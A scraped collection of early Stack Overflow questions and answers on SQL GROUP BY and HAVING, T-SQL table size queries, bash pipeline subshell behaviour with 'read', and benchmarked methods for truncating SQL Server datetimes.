[ { "answer_id": 2704, "author": "GateKiller", "author_id": 383, "author_profile": "https://Stackoverflow.com/users/383", "pm_score": 2, "selected": false, "text": "<p>Counting the number of times tags are used might be a google example:</p>\n\n<pre><code>SELECT TagName, Count(*)\nAS TimesUsed\nFROM Tags\nGROUP BY TagName ORDER TimesUsed\n</code></pre>\n\n<p>If you simply want a distinct value of tags, I would prefer to use the <code>DISTINCT</code> statement.</p>\n\n<pre><code>SELECT DISTINCT TagName\nFROM Tags\nORDER BY TagName ASC\n</code></pre>\n" }, { "answer_id": 2706, "author": "Dillie-O", "author_id": 71, "author_profile": "https://Stackoverflow.com/users/71", "pm_score": 0, "selected": false, "text": "<p>GROUP BY also helps when you want to generate a report that will average or sum a bunch of data. You can GROUP By the Department ID and the SUM all the sales revenue or AVG the count of sales for each month.</p>\n" }, { "answer_id": 2707, "author": "Stu", "author_id": 414, "author_profile": "https://Stackoverflow.com/users/414", "pm_score": 2, "selected": false, "text": "<p>Group By forces the entire set to be populated before records are returned (since it is an implicit sort).</p>\n\n<p>For that reason (and many others), never use a Group By in a subquery.</p>\n" }, { "answer_id": 2736, "author": "Chris Farmer", "author_id": 404, "author_profile": "https://Stackoverflow.com/users/404", "pm_score": 6, "selected": true, "text": "<p>To retrieve the number of widgets from each widget category that has more than 5 widgets, you could do this:</p>\n\n<pre><code>SELECT WidgetCategory, count(*)\nFROM Widgets\nGROUP BY WidgetCategory\nHAVING count(*) &gt; 5\n</code></pre>\n\n<p>The \"having\" clause is something people often forget about, instead opting to retrieve all their data to the client and iterating through it there.</p>\n" }, { "answer_id": 16212, "author": "Seibar", "author_id": 357, "author_profile": "https://Stackoverflow.com/users/357", "pm_score": 4, "selected": false, "text": "<p>GROUP BY is similar to DISTINCT in that it groups multiple records into one.</p>\n\n<p>This example, borrowed from <a href=\"http://www.devguru.com/technologies/t-sql/7080.asp\" rel=\"noreferrer\">http://www.devguru.com/technologies/t-sql/7080.asp</a>, lists distinct products in the Products table. </p>\n\n<pre><code>SELECT Product FROM Products GROUP BY Product\n\nProduct\n-------------\nDesktop\nLaptop\nMouse\nNetwork Card\nHard Drive\nSoftware\nBook\nAccessory\n</code></pre>\n\n<p>The advantage of GROUP BY over DISTINCT, is that it can give you granular control when used with a HAVING clause.</p>\n\n<pre><code>SELECT Product, count(Product) as ProdCnt\nFROM Products\nGROUP BY Product\nHAVING count(Product) &gt; 2\n\nProduct ProdCnt\n--------------------\nDesktop 10\nLaptop 5\nMouse 3\nNetwork Card 9\nSoftware 6\n</code></pre>\n" } ]
2008/08/05
[ "https://Stackoverflow.com/questions/2702", "https://Stackoverflow.com", "https://Stackoverflow.com/users/357/" ]
I know I need to have (although I don't know why) a `GROUP BY` clause on the end of a SQL query that uses any aggregate functions like `count`, `sum`, `avg`, etc: ``` SELECT count(userID), userName FROM users GROUP BY userName ``` When else would `GROUP BY` be useful, and what are the performance ramifications?
To retrieve the number of widgets from each widget category that has more than 5 widgets, you could do this: ``` SELECT WidgetCategory, count(*) FROM Widgets GROUP BY WidgetCategory HAVING count(*) > 5 ``` The "having" clause is something people often forget about, instead opting to retrieve all their data to the client and iterating through it there.
2,714
<p>I think most people know how to do this via the GUI (right click table, properties), but doing this in T-SQL totally rocks.</p>
[ { "answer_id": 2715, "author": "Nathan Bedford", "author_id": 434, "author_profile": "https://Stackoverflow.com/users/434", "pm_score": 5, "selected": true, "text": "<pre>\nCREATE TABLE #tmpSizeChar (\n table_name sysname ,\n row_count int,\n reserved_size varchar(50),\n data_size varchar(50),\n index_size varchar(50),\n unused_size varchar(50)) \n\nCREATE TABLE #tmpSizeInt (\n table_name sysname ,\n row_count int,\n reserved_size_KB int,\n data_size_KB int,\n index_size_KB int,\n unused_size_KB int) \n\nSET NOCOUNT ON\nINSERT #tmpSizeChar\nEXEC sp_msforeachtable 'sp_spaceused ''?''' \n\nINSERT INTO #tmpSizeInt (\n table_name,\n row_count,\n reserved_size_KB,\n data_size_KB,\n index_size_KB,\n unused_size_KB\n )\nSELECT [table_name],\n row_count,\n CAST(SUBSTRING(reserved_size, 0, PATINDEX('% %', reserved_size)) AS int)reserved_size,\n CAST(SUBSTRING(data_size, 0, PATINDEX('% %', data_size)) AS int)data_size,\n CAST(SUBSTRING(index_size, 0, PATINDEX('% %', index_size)) AS int)index_size,\n CAST(SUBSTRING(unused_size, 0, PATINDEX('% %', unused_size)) AS int)unused_size\nFROM #tmpSizeChar \n\n/*\nDROP TABLE #tmpSizeChar\nDROP TABLE #tmpSizeInt\n*/\n\nSELECT * FROM #tmpSizeInt\nORDER BY reserved_size_KB DESC\n</pre>\n" }, { "answer_id": 2721, "author": "brendan", "author_id": 225, "author_profile": "https://Stackoverflow.com/users/225", "pm_score": 0, "selected": false, "text": "<p>Check out this, I know it works in 2005 (<a href=\"https://learn.microsoft.com/sql/relational-databases/system-catalog-views/sys-database-files-transact-sql\" rel=\"nofollow noreferrer\">Microsoft Documentation</a>):</p>\n\n<p>Here is is for the pubs DB\n<pre><code>\nselect *\nfrom pubs.sys.database_files\n</pre></code></p>\n\n<p>Returns the size and max_size.</p>\n" }, { "answer_id": 34794972, "author": "ttomsen", "author_id": 166109, "author_profile": "https://Stackoverflow.com/users/166109", "pm_score": 0, "selected": false, "text": "<p>sp_spaceused tableName</p>\n<p>where tableName is the name of the table you want to know.</p>\n" } ]
2008/08/05
[ "https://Stackoverflow.com/questions/2714", "https://Stackoverflow.com", "https://Stackoverflow.com/users/434/" ]
I think most people know how to do this via the GUI (right click table, properties), but doing this in T-SQL totally rocks.
``` CREATE TABLE #tmpSizeChar ( table_name sysname , row_count int, reserved_size varchar(50), data_size varchar(50), index_size varchar(50), unused_size varchar(50)) CREATE TABLE #tmpSizeInt ( table_name sysname , row_count int, reserved_size_KB int, data_size_KB int, index_size_KB int, unused_size_KB int) SET NOCOUNT ON INSERT #tmpSizeChar EXEC sp_msforeachtable 'sp_spaceused ''?''' INSERT INTO #tmpSizeInt ( table_name, row_count, reserved_size_KB, data_size_KB, index_size_KB, unused_size_KB ) SELECT [table_name], row_count, CAST(SUBSTRING(reserved_size, 0, PATINDEX('% %', reserved_size)) AS int)reserved_size, CAST(SUBSTRING(data_size, 0, PATINDEX('% %', data_size)) AS int)data_size, CAST(SUBSTRING(index_size, 0, PATINDEX('% %', index_size)) AS int)index_size, CAST(SUBSTRING(unused_size, 0, PATINDEX('% %', unused_size)) AS int)unused_size FROM #tmpSizeChar /* DROP TABLE #tmpSizeChar DROP TABLE #tmpSizeInt */ SELECT * FROM #tmpSizeInt ORDER BY reserved_size_KB DESC ```
2,732
<p>Can anyone explain this behavior? Running:</p> <pre><code>#!/bin/sh echo "hello world" | read var1 var2 echo $var1 echo $var2 </code></pre> <p>results in nothing being ouput, while:</p> <pre><code>#!/bin/sh echo "hello world" &gt; test.file read var1 var2 &lt; test.file echo $var1 echo $var2 </code></pre> <p>produces the expected output:</p> <pre><code>hello world </code></pre> <p>Shouldn't the pipe do in one step what the redirection to test.file did in the second example? I tried the same code with both the dash and bash shells and got the same behavior from both of them.</p>
[ { "answer_id": 2764, "author": "Mark Harrison", "author_id": 116, "author_profile": "https://Stackoverflow.com/users/116", "pm_score": 3, "selected": false, "text": "<p>It's because the pipe version is creating a subshell, which reads the variable into its local space which then is destroyed when the subshell exits.</p>\n\n<p>Execute this command</p>\n\n<pre><code>$ echo $$;cat | read a\n10637\n</code></pre>\n\n<p>and use pstree -p to look at the running processes, you will see an extra shell hanging off of your main shell.</p>\n\n<pre><code> | |-bash(10637)-+-bash(10786)\n | | `-cat(10785)\n</code></pre>\n" }, { "answer_id": 2777, "author": "num1", "author_id": 306, "author_profile": "https://Stackoverflow.com/users/306", "pm_score": 3, "selected": false, "text": "<p>Allright, I figured it out!</p>\n\n<p>This is a hard bug to catch, but results from the way pipes are handled by the shell. Every element of a pipeline runs in a separate process. When the read command sets var1 and var2, is sets them it its own subshell, not the parent shell. So when the subshell exits, the values of var1 and var2 are lost. You can, however, try doing \n</p>\n\n<pre><code>var1=$(echo \"Hello\")\necho var1\n</code></pre>\n\n<p>which returns the expected answer. Unfortunately this only works for single variables, you can't set many at a time. In order to set multiple variables at a time you must either read into one variable and chop it up into multiple variables or use something like this:</p>\n\n<pre><code>set -- $(echo \"Hello World\")\nvar1=\"$1\" var2=\"$2\"\necho $var1\necho $var2\n</code></pre>\n\n<p>While I admit it's not as elegant as using a pipe, it works. Of course you should keep in mind that read was meant to read from files into variables, so making it read from standard input should be a little harder.</p>\n" }, { "answer_id": 12412, "author": "Jon Ericson", "author_id": 1438, "author_profile": "https://Stackoverflow.com/users/1438", "pm_score": 4, "selected": false, "text": "<p>This has already been answered correctly, but the solution has not been stated yet. Use ksh, not bash. Compare:</p>\n\n<pre><code>$ echo 'echo \"hello world\" | read var1 var2\necho $var1\necho $var2' | bash -s\n</code></pre>\n\n<p>To:</p>\n\n<pre><code>$ echo 'echo \"hello world\" | read var1 var2\necho $var1\necho $var2' | ksh -s\nhello\nworld\n</code></pre>\n\n<p>ksh is a superior programming shell because of little niceties like this. (bash is the better interactive shell, in my opinion.)</p>\n" }, { "answer_id": 61462, "author": "Community", "author_id": -1, "author_profile": "https://Stackoverflow.com/users/-1", "pm_score": 3, "selected": false, "text": "<p>The post has been properly answered, but I would like to offer an alternative one liner that perhaps could be of some use.</p>\n\n<p>For assigning space separated values from echo (or stdout for that matter) to shell variables, you could consider using shell arrays:</p>\n\n<pre><code>$ var=( $( echo 'hello world' ) )\n$ echo ${var[0]}\nhello\n$ echo ${var[1]}\nworld\n</code></pre>\n\n<p>In this example var is an array and the contents can be accessed using the construct ${var[index]}, where index is the array index (starts with 0).</p>\n\n<p>That way you can have as many parameters as you want assigned to the relevant array index.</p>\n" }, { "answer_id": 78604, "author": "Steve Baker", "author_id": 13566, "author_profile": "https://Stackoverflow.com/users/13566", "pm_score": 3, "selected": false, "text": "<pre><code>read var1 var2 &lt; &lt;(echo \"hello world\")\n</code></pre>\n" }, { "answer_id": 79203, "author": "pjz", "author_id": 8002, "author_profile": "https://Stackoverflow.com/users/8002", "pm_score": 2, "selected": false, "text": "<p>Try:</p>\n\n<pre><code>echo \"hello world\" | (read var1 var2 ; echo $var1 ; echo $var2 )\n</code></pre>\n\n<p>The problem, as multiple people have stated, is that var1 and var2 are created in a subshell environment that is destroyed when that subshell exits. The above avoids destroying the subshell until the result has been echo'd. Another solution is:</p>\n\n<pre><code>result=`echo \"hello world\"`\nread var1 var2 &lt;&lt;EOF\n$result\nEOF\necho $var1\necho $var2\n</code></pre>\n" }, { "answer_id": 98945, "author": "flabdablet", "author_id": 14845, "author_profile": "https://Stackoverflow.com/users/14845", "pm_score": 4, "selected": false, "text": "<pre><code>#!/bin/sh\necho \"hello world\" | read var1 var2\necho $var1\necho $var2\n</code></pre>\n\n<p>produces no output because pipelines run each of their components inside a subshell. Subshells <em>inherit copies</em> of the parent shell's variables, rather than sharing them. Try this:</p>\n\n<pre><code>#!/bin/sh\nfoo=\"contents of shell variable foo\"\necho $foo\n(\n echo $foo\n foo=\"foo contents modified\"\n echo $foo\n)\necho $foo\n</code></pre>\n\n<p>The parentheses define a region of code that gets run in a subshell, and $foo retains its original value after being modified inside them.</p>\n\n<p>Now try this:</p>\n\n<pre><code>#!/bin/sh\nfoo=\"contents of shell variable foo\"\necho $foo\n{\n echo $foo\n foo=\"foo contents modified\"\n echo $foo\n}\necho $foo\n</code></pre>\n\n<p>The braces are purely for grouping, no subshell is created, and the $foo modified inside the braces is the same $foo modified outside them.</p>\n\n<p>Now try this:</p>\n\n<pre><code>#!/bin/sh\necho \"hello world\" | {\n read var1 var2\n echo $var1\n echo $var2\n}\necho $var1\necho $var2\n</code></pre>\n\n<p>Inside the braces, the read builtin creates $var1 and $var2 properly and you can see that they get echoed. Outside the braces, they don't exist any more. All the code within the braces has been run in a subshell <em>because it's one component of a pipeline</em>.</p>\n\n<p>You can put arbitrary amounts of code between braces, so you can use this piping-into-a-block construction whenever you need to run a block of shell script that parses the output of something else. </p>\n" }, { "answer_id": 609915, "author": "Community", "author_id": -1, "author_profile": "https://Stackoverflow.com/users/-1", "pm_score": 3, "selected": false, "text": "<p>My take on this issue (using Bash):</p>\n\n<pre><code>read var1 var2 &lt;&lt;&lt; \"hello world\"\necho $var1 $var2\n</code></pre>\n" }, { "answer_id": 11668996, "author": "chepner", "author_id": 1126841, "author_profile": "https://Stackoverflow.com/users/1126841", "pm_score": 5, "selected": true, "text": "<p>A recent addition to <code>bash</code> is the <code>lastpipe</code> option, which allows the last command in a pipeline to run in the current shell, not a subshell, when job control is deactivated.</p>\n\n<pre><code>#!/bin/bash\nset +m # Deactiveate job control\nshopt -s lastpipe\necho \"hello world\" | read var1 var2\necho $var1\necho $var2\n</code></pre>\n\n<p>will indeed output</p>\n\n<pre><code>hello\nworld\n</code></pre>\n" } ]
2008/08/05
[ "https://Stackoverflow.com/questions/2732", "https://Stackoverflow.com", "https://Stackoverflow.com/users/75/" ]
Can anyone explain this behavior? Running: ``` #!/bin/sh echo "hello world" | read var1 var2 echo $var1 echo $var2 ``` results in nothing being ouput, while: ``` #!/bin/sh echo "hello world" > test.file read var1 var2 < test.file echo $var1 echo $var2 ``` produces the expected output: ``` hello world ``` Shouldn't the pipe do in one step what the redirection to test.file did in the second example? I tried the same code with both the dash and bash shells and got the same behavior from both of them.
A recent addition to `bash` is the `lastpipe` option, which allows the last command in a pipeline to run in the current shell, not a subshell, when job control is deactivated. ``` #!/bin/bash set +m # Deactiveate job control shopt -s lastpipe echo "hello world" | read var1 var2 echo $var1 echo $var2 ``` will indeed output ``` hello world ```
2,775
<p>Here's what I use:</p> <pre><code>SELECT CAST(FLOOR(CAST(getdate() as FLOAT)) as DATETIME) </code></pre> <p>I'm thinking there may be a better and more elegant way.</p> <p>Requirements:</p> <ul> <li>It has to be as fast as possible (the less casting, the better).</li> <li>The final result has to be a <code>datetime</code> type, not a string.</li> </ul>
[ { "answer_id": 2781, "author": "Michael Stum", "author_id": 91, "author_profile": "https://Stackoverflow.com/users/91", "pm_score": 4, "selected": false, "text": "<p>Your <code>CAST</code>-<code>FLOOR</code>-<code>CAST</code> already seems to be the optimum way, at least on MS SQL Server 2005.</p>\n\n<p>Some other solutions I've seen have a string-conversion, like <code>Select Convert(varchar(11), getdate(),101)</code> in them, which is slower by a factor of 10.</p>\n" }, { "answer_id": 3130, "author": "Marek Grzenkowicz", "author_id": 95, "author_profile": "https://Stackoverflow.com/users/95", "pm_score": 5, "selected": false, "text": "<p>SQL Server 2008 has a new <a href=\"http://msdn.microsoft.com/en-us/library/bb630352.aspx\" rel=\"noreferrer\"><strong>date</strong> data type</a> and this simplifies this problem to:</p>\n\n<pre><code>SELECT CAST(CAST(GETDATE() AS date) AS datetime)\n</code></pre>\n" }, { "answer_id": 3154, "author": "Marek Grzenkowicz", "author_id": 95, "author_profile": "https://Stackoverflow.com/users/95", "pm_score": 4, "selected": false, "text": "<p>Itzik Ben-Gan in <a href=\"https://www.itprotoday.com/analytics-and-reporting/datetime-calculations-part-1\" rel=\"nofollow noreferrer\">DATETIME Calculations, Part 1</a> (SQL Server Magazine, February 2007) shows three methods of performing such a conversion (<strong>slowest to fastest</strong>; the difference between second and third method is small):</p>\n<pre><code>SELECT CAST(CONVERT(char(8), GETDATE(), 112) AS datetime)\n\nSELECT DATEADD(day, DATEDIFF(day, 0, GETDATE()), 0)\n\nSELECT CAST(CAST(GETDATE() - 0.50000004 AS int) AS datetime)\n</code></pre>\n<p>Your technique (casting to <em>float</em>) is suggested by a reader in the April issue of the magazine. According to him, it has performance comparable to that of second technique presented above.</p>\n" }, { "answer_id": 3696991, "author": "ErikE", "author_id": 57611, "author_profile": "https://Stackoverflow.com/users/57611", "pm_score": 8, "selected": true, "text": "<p><strong>SQL Server 2008 and up</strong></p>\n\n<p>In SQL Server 2008 and up, of course the fastest way is <code>Convert(date, @date)</code>. This can be cast back to a <code>datetime</code> or <code>datetime2</code> if necessary.</p>\n\n<p><strong>What Is Really Best In SQL Server 2005 and Older?</strong></p>\n\n<p>I've seen inconsistent claims about what's fastest for truncating the time from a date in SQL Server, and some people even said they did testing, but my experience has been different. So let's do some more stringent testing and let everyone have the script so if I make any mistakes people can correct me.</p>\n\n<p><strong>Float Conversions Are Not Accurate</strong></p>\n\n<p>First, I would stay away from converting <code>datetime</code> to <code>float</code>, because it does not convert correctly. You may get away with doing the time-removal thing accurately, but I think it's a bad idea to use it because it implicitly communicates to developers that this is a safe operation and <strong>it is not</strong>. Take a look:</p>\n\n<pre><code>declare @d datetime;\nset @d = '2010-09-12 00:00:00.003';\nselect Convert(datetime, Convert(float, @d));\n-- result: 2010-09-12 00:00:00.000 -- oops\n</code></pre>\n\n<p>This is not something we should be teaching people in our code or in our examples online.</p>\n\n<p>Also, it is not even the fastest way!</p>\n\n<p><strong>Proof – Performance Testing</strong></p>\n\n<p>If you want to perform some tests yourself to see how the different methods really do stack up, then you'll need this setup script to run the tests farther down:</p>\n\n<pre><code>create table AllDay (Tm datetime NOT NULL CONSTRAINT PK_AllDay PRIMARY KEY CLUSTERED);\ndeclare @d datetime;\nset @d = DateDiff(Day, 0, GetDate());\ninsert AllDay select @d;\nwhile @@ROWCOUNT != 0\n insert AllDay\n select * from (\n select Tm =\n DateAdd(ms, (select Max(DateDiff(ms, @d, Tm)) from AllDay) + 3, Tm)\n from AllDay\n ) X\n where Tm &lt; DateAdd(Day, 1, @d);\nexec sp_spaceused AllDay; -- 25,920,000 rows\n</code></pre>\n\n<p>Please note that this creates a 427.57&nbsp;MB table in your database and will take something like 15-30 minutes to run. If your database is small and set to 10% growth it will take longer than if you size big enough first.</p>\n\n<p>Now for the actual performance testing script. Please note that it's purposeful to not return rows back to the client as this is crazy expensive on 26 million rows and would hide the performance differences between the methods.</p>\n\n<p><strong>Performance Results</strong></p>\n\n<pre><code>set statistics time on;\n-- (All queries are the same on io: logical reads 54712)\nGO\ndeclare\n @dd date,\n @d datetime,\n @di int,\n @df float,\n @dv varchar(10);\n\n-- Round trip back to datetime\nselect @d = CONVERT(date, Tm) from AllDay; -- CPU time = 21234 ms, elapsed time = 22301 ms.\nselect @d = CAST(Tm - 0.50000004 AS int) from AllDay; -- CPU = 23031 ms, elapsed = 24091 ms.\nselect @d = DATEDIFF(DAY, 0, Tm) from AllDay; -- CPU = 23782 ms, elapsed = 24818 ms.\nselect @d = FLOOR(CAST(Tm as float)) from AllDay; -- CPU = 36891 ms, elapsed = 38414 ms.\nselect @d = CONVERT(VARCHAR(8), Tm, 112) from AllDay; -- CPU = 102984 ms, elapsed = 109897 ms.\nselect @d = CONVERT(CHAR(8), Tm, 112) from AllDay; -- CPU = 103390 ms, elapsed = 108236 ms.\nselect @d = CONVERT(VARCHAR(10), Tm, 101) from AllDay; -- CPU = 123375 ms, elapsed = 135179 ms.\n\n-- Only to another type but not back\nselect @dd = Tm from AllDay; -- CPU time = 19891 ms, elapsed time = 20937 ms.\nselect @di = CAST(Tm - 0.50000004 AS int) from AllDay; -- CPU = 21453 ms, elapsed = 23079 ms.\nselect @di = DATEDIFF(DAY, 0, Tm) from AllDay; -- CPU = 23218 ms, elapsed = 24700 ms\nselect @df = FLOOR(CAST(Tm as float)) from AllDay; -- CPU = 29312 ms, elapsed = 31101 ms.\nselect @dv = CONVERT(VARCHAR(8), Tm, 112) from AllDay; -- CPU = 64016 ms, elapsed = 67815 ms.\nselect @dv = CONVERT(CHAR(8), Tm, 112) from AllDay; -- CPU = 64297 ms, elapsed = 67987 ms.\nselect @dv = CONVERT(VARCHAR(10), Tm, 101) from AllDay; -- CPU = 65609 ms, elapsed = 68173 ms.\nGO\nset statistics time off;\n</code></pre>\n\n<p><strong>Some Rambling Analysis</strong></p>\n\n<p>Some notes about this. First of all, if just performing a GROUP BY or a comparison, there's no need to convert back to <code>datetime</code>. So you can save some CPU by avoiding that, unless you need the final value for display purposes. You can even GROUP BY the unconverted value and put the conversion only in the SELECT clause:</p>\n\n<pre><code>select Convert(datetime, DateDiff(dd, 0, Tm))\nfrom (select '2010-09-12 00:00:00.003') X (Tm)\ngroup by DateDiff(dd, 0, Tm)\n</code></pre>\n\n<p>Also, see how the numeric conversions only take slightly more time to convert back to <code>datetime</code>, but the <code>varchar</code> conversion almost doubles? This reveals the portion of the CPU that is devoted to date calculation in the queries. There are parts of the CPU usage that don't involve date calculation, and this appears to be something close to 19875&nbsp;ms in the above queries. Then the conversion takes some additional amount, so if there are two conversions, that amount is used up approximately twice.</p>\n\n<p>More examination reveals that compared to <code>Convert(, 112)</code>, the <code>Convert(, 101)</code> query has some additional CPU expense (since it uses a longer <code>varchar</code>?), because the second conversion back to <code>date</code> doesn't cost as much as the initial conversion to <code>varchar</code>, but with <code>Convert(, 112)</code> it is closer to the same 20000&nbsp;ms CPU base cost.</p>\n\n<p>Here are those calculations on the CPU time that I used for the above analysis:</p>\n\n<pre><code> method round single base\n----------- ------ ------ -----\n date 21324 19891 18458\n int 23031 21453 19875\n datediff 23782 23218 22654\n float 36891 29312 21733\nvarchar-112 102984 64016 25048\nvarchar-101 123375 65609 7843\n</code></pre>\n\n<ul>\n<li><p><em>round</em> is the CPU time for a round trip back to <code>datetime</code>.</p></li>\n<li><p><em>single</em> is CPU time for a single conversion to the alternate data type (the one that has the side effect of removing the time portion).</p></li>\n<li><p><em>base</em> is the calculation of subtracting from <code>single</code> the difference between the two invocations: <code>single - (round - single)</code>. It's a ballpark figure that assumes the conversion to and from that data type and <code>datetime</code> is approximately the same in either direction. It appears this assumption is not perfect but is close because the values are all close to 20000&nbsp;ms with only one exception.</p></li>\n</ul>\n\n<p>One more interesting thing is that the base cost is nearly equal to the single <code>Convert(date)</code> method (which has to be almost 0 cost, as the server can internally extract the integer day portion right out of the first four bytes of the <code>datetime</code> data type).</p>\n\n<p><strong>Conclusion</strong></p>\n\n<p>So what it looks like is that the single-direction <code>varchar</code> conversion method takes about 1.8&nbsp;μs and the single-direction <code>DateDiff</code> method takes about 0.18&nbsp;μs. I'm basing this on the most conservative \"base CPU\" time in my testing of 18458&nbsp;ms total for 25,920,000 rows, so 23218&nbsp;ms / 25920000 = 0.18&nbsp;μs. The apparent 10x improvement seems like a lot, but it is frankly pretty small until you are dealing with hundreds of thousands of rows (617k rows = 1 second savings).</p>\n\n<p>Even given this small absolute improvement, in my opinion, the <code>DateAdd</code> method wins because it is the best combination of performance and clarity. The answer that requires a \"magic number\" of <code>0.50000004</code> is going to bite someone some day (five zeroes or six???), plus it's harder to understand.</p>\n\n<p><strong>Additional Notes</strong></p>\n\n<p>When I get some time I'm going to change <code>0.50000004</code> to <code>'12:00:00.003'</code> and see how it does. It is converted to the same <code>datetime</code> value and I find it much easier to remember.</p>\n\n<p>For those interested, the above tests were run on a server where @@Version returns the following:</p>\n\n<blockquote>\n <p>Microsoft SQL Server 2008 (RTM) - 10.0.1600.22 (Intel X86) Jul 9 2008 14:43:34 Copyright (c) 1988-2008 Microsoft Corporation Standard Edition on Windows NT 5.2 (Build 3790: Service Pack 2)</p>\n</blockquote>\n" }, { "answer_id": 17378887, "author": "srihari", "author_id": 2518677, "author_profile": "https://Stackoverflow.com/users/2518677", "pm_score": 2, "selected": false, "text": "<p>Please try:</p>\n\n<pre><code>SELECT CONVERT(VARCHAR(10),[YOUR COLUMN NAME],105) [YOURTABLENAME]\n</code></pre>\n" }, { "answer_id": 26749689, "author": "user4217069", "author_id": 4217069, "author_profile": "https://Stackoverflow.com/users/4217069", "pm_score": 1, "selected": false, "text": "<p>SQL2005: I recommend cast instead of dateadd. For example,</p>\n<pre><code>select cast(DATEDIFF(DAY, 0, datetimefield) as datetime)\n</code></pre>\n<p>averagely about 10% <em>faster</em> on my dataset, than</p>\n<pre><code>select DATEADD(DAY, DATEDIFF(DAY, 0, datetimefield), 0)\n</code></pre>\n<p>(and casting into smalldatetime was faster still)</p>\n" } ]
2008/08/05
[ "https://Stackoverflow.com/questions/2775", "https://Stackoverflow.com", "https://Stackoverflow.com/users/434/" ]
Here's what I use: ``` SELECT CAST(FLOOR(CAST(getdate() as FLOAT)) as DATETIME) ``` I'm thinking there may be a better and more elegant way. Requirements: * It has to be as fast as possible (the less casting, the better). * The final result has to be a `datetime` type, not a string.
**SQL Server 2008 and up** In SQL Server 2008 and up, of course the fastest way is `Convert(date, @date)`. This can be cast back to a `datetime` or `datetime2` if necessary. **What Is Really Best In SQL Server 2005 and Older?** I've seen inconsistent claims about what's fastest for truncating the time from a date in SQL Server, and some people even said they did testing, but my experience has been different. So let's do some more stringent testing and let everyone have the script so if I make any mistakes people can correct me. **Float Conversions Are Not Accurate** First, I would stay away from converting `datetime` to `float`, because it does not convert correctly. You may get away with doing the time-removal thing accurately, but I think it's a bad idea to use it because it implicitly communicates to developers that this is a safe operation and **it is not**. Take a look: ``` declare @d datetime; set @d = '2010-09-12 00:00:00.003'; select Convert(datetime, Convert(float, @d)); -- result: 2010-09-12 00:00:00.000 -- oops ``` This is not something we should be teaching people in our code or in our examples online. Also, it is not even the fastest way! **Proof – Performance Testing** If you want to perform some tests yourself to see how the different methods really do stack up, then you'll need this setup script to run the tests farther down: ``` create table AllDay (Tm datetime NOT NULL CONSTRAINT PK_AllDay PRIMARY KEY CLUSTERED); declare @d datetime; set @d = DateDiff(Day, 0, GetDate()); insert AllDay select @d; while @@ROWCOUNT != 0 insert AllDay select * from ( select Tm = DateAdd(ms, (select Max(DateDiff(ms, @d, Tm)) from AllDay) + 3, Tm) from AllDay ) X where Tm < DateAdd(Day, 1, @d); exec sp_spaceused AllDay; -- 25,920,000 rows ``` Please note that this creates a 427.57 MB table in your database and will take something like 15-30 minutes to run. If your database is small and set to 10% growth it will take longer than if you size big enough first. Now for the actual performance testing script. Please note that it's purposeful to not return rows back to the client as this is crazy expensive on 26 million rows and would hide the performance differences between the methods. **Performance Results** ``` set statistics time on; -- (All queries are the same on io: logical reads 54712) GO declare @dd date, @d datetime, @di int, @df float, @dv varchar(10); -- Round trip back to datetime select @d = CONVERT(date, Tm) from AllDay; -- CPU time = 21234 ms, elapsed time = 22301 ms. select @d = CAST(Tm - 0.50000004 AS int) from AllDay; -- CPU = 23031 ms, elapsed = 24091 ms. select @d = DATEDIFF(DAY, 0, Tm) from AllDay; -- CPU = 23782 ms, elapsed = 24818 ms. select @d = FLOOR(CAST(Tm as float)) from AllDay; -- CPU = 36891 ms, elapsed = 38414 ms. select @d = CONVERT(VARCHAR(8), Tm, 112) from AllDay; -- CPU = 102984 ms, elapsed = 109897 ms. select @d = CONVERT(CHAR(8), Tm, 112) from AllDay; -- CPU = 103390 ms, elapsed = 108236 ms. select @d = CONVERT(VARCHAR(10), Tm, 101) from AllDay; -- CPU = 123375 ms, elapsed = 135179 ms. -- Only to another type but not back select @dd = Tm from AllDay; -- CPU time = 19891 ms, elapsed time = 20937 ms. select @di = CAST(Tm - 0.50000004 AS int) from AllDay; -- CPU = 21453 ms, elapsed = 23079 ms. select @di = DATEDIFF(DAY, 0, Tm) from AllDay; -- CPU = 23218 ms, elapsed = 24700 ms select @df = FLOOR(CAST(Tm as float)) from AllDay; -- CPU = 29312 ms, elapsed = 31101 ms. select @dv = CONVERT(VARCHAR(8), Tm, 112) from AllDay; -- CPU = 64016 ms, elapsed = 67815 ms. select @dv = CONVERT(CHAR(8), Tm, 112) from AllDay; -- CPU = 64297 ms, elapsed = 67987 ms. select @dv = CONVERT(VARCHAR(10), Tm, 101) from AllDay; -- CPU = 65609 ms, elapsed = 68173 ms. GO set statistics time off; ``` **Some Rambling Analysis** Some notes about this. First of all, if just performing a GROUP BY or a comparison, there's no need to convert back to `datetime`. So you can save some CPU by avoiding that, unless you need the final value for display purposes. You can even GROUP BY the unconverted value and put the conversion only in the SELECT clause: ``` select Convert(datetime, DateDiff(dd, 0, Tm)) from (select '2010-09-12 00:00:00.003') X (Tm) group by DateDiff(dd, 0, Tm) ``` Also, see how the numeric conversions only take slightly more time to convert back to `datetime`, but the `varchar` conversion almost doubles? This reveals the portion of the CPU that is devoted to date calculation in the queries. There are parts of the CPU usage that don't involve date calculation, and this appears to be something close to 19875 ms in the above queries. Then the conversion takes some additional amount, so if there are two conversions, that amount is used up approximately twice. More examination reveals that compared to `Convert(, 112)`, the `Convert(, 101)` query has some additional CPU expense (since it uses a longer `varchar`?), because the second conversion back to `date` doesn't cost as much as the initial conversion to `varchar`, but with `Convert(, 112)` it is closer to the same 20000 ms CPU base cost. Here are those calculations on the CPU time that I used for the above analysis: ``` method round single base ----------- ------ ------ ----- date 21324 19891 18458 int 23031 21453 19875 datediff 23782 23218 22654 float 36891 29312 21733 varchar-112 102984 64016 25048 varchar-101 123375 65609 7843 ``` * *round* is the CPU time for a round trip back to `datetime`. * *single* is CPU time for a single conversion to the alternate data type (the one that has the side effect of removing the time portion). * *base* is the calculation of subtracting from `single` the difference between the two invocations: `single - (round - single)`. It's a ballpark figure that assumes the conversion to and from that data type and `datetime` is approximately the same in either direction. It appears this assumption is not perfect but is close because the values are all close to 20000 ms with only one exception. One more interesting thing is that the base cost is nearly equal to the single `Convert(date)` method (which has to be almost 0 cost, as the server can internally extract the integer day portion right out of the first four bytes of the `datetime` data type). **Conclusion** So what it looks like is that the single-direction `varchar` conversion method takes about 1.8 μs and the single-direction `DateDiff` method takes about 0.18 μs. I'm basing this on the most conservative "base CPU" time in my testing of 18458 ms total for 25,920,000 rows, so 23218 ms / 25920000 = 0.18 μs. The apparent 10x improvement seems like a lot, but it is frankly pretty small until you are dealing with hundreds of thousands of rows (617k rows = 1 second savings). Even given this small absolute improvement, in my opinion, the `DateAdd` method wins because it is the best combination of performance and clarity. The answer that requires a "magic number" of `0.50000004` is going to bite someone some day (five zeroes or six???), plus it's harder to understand. 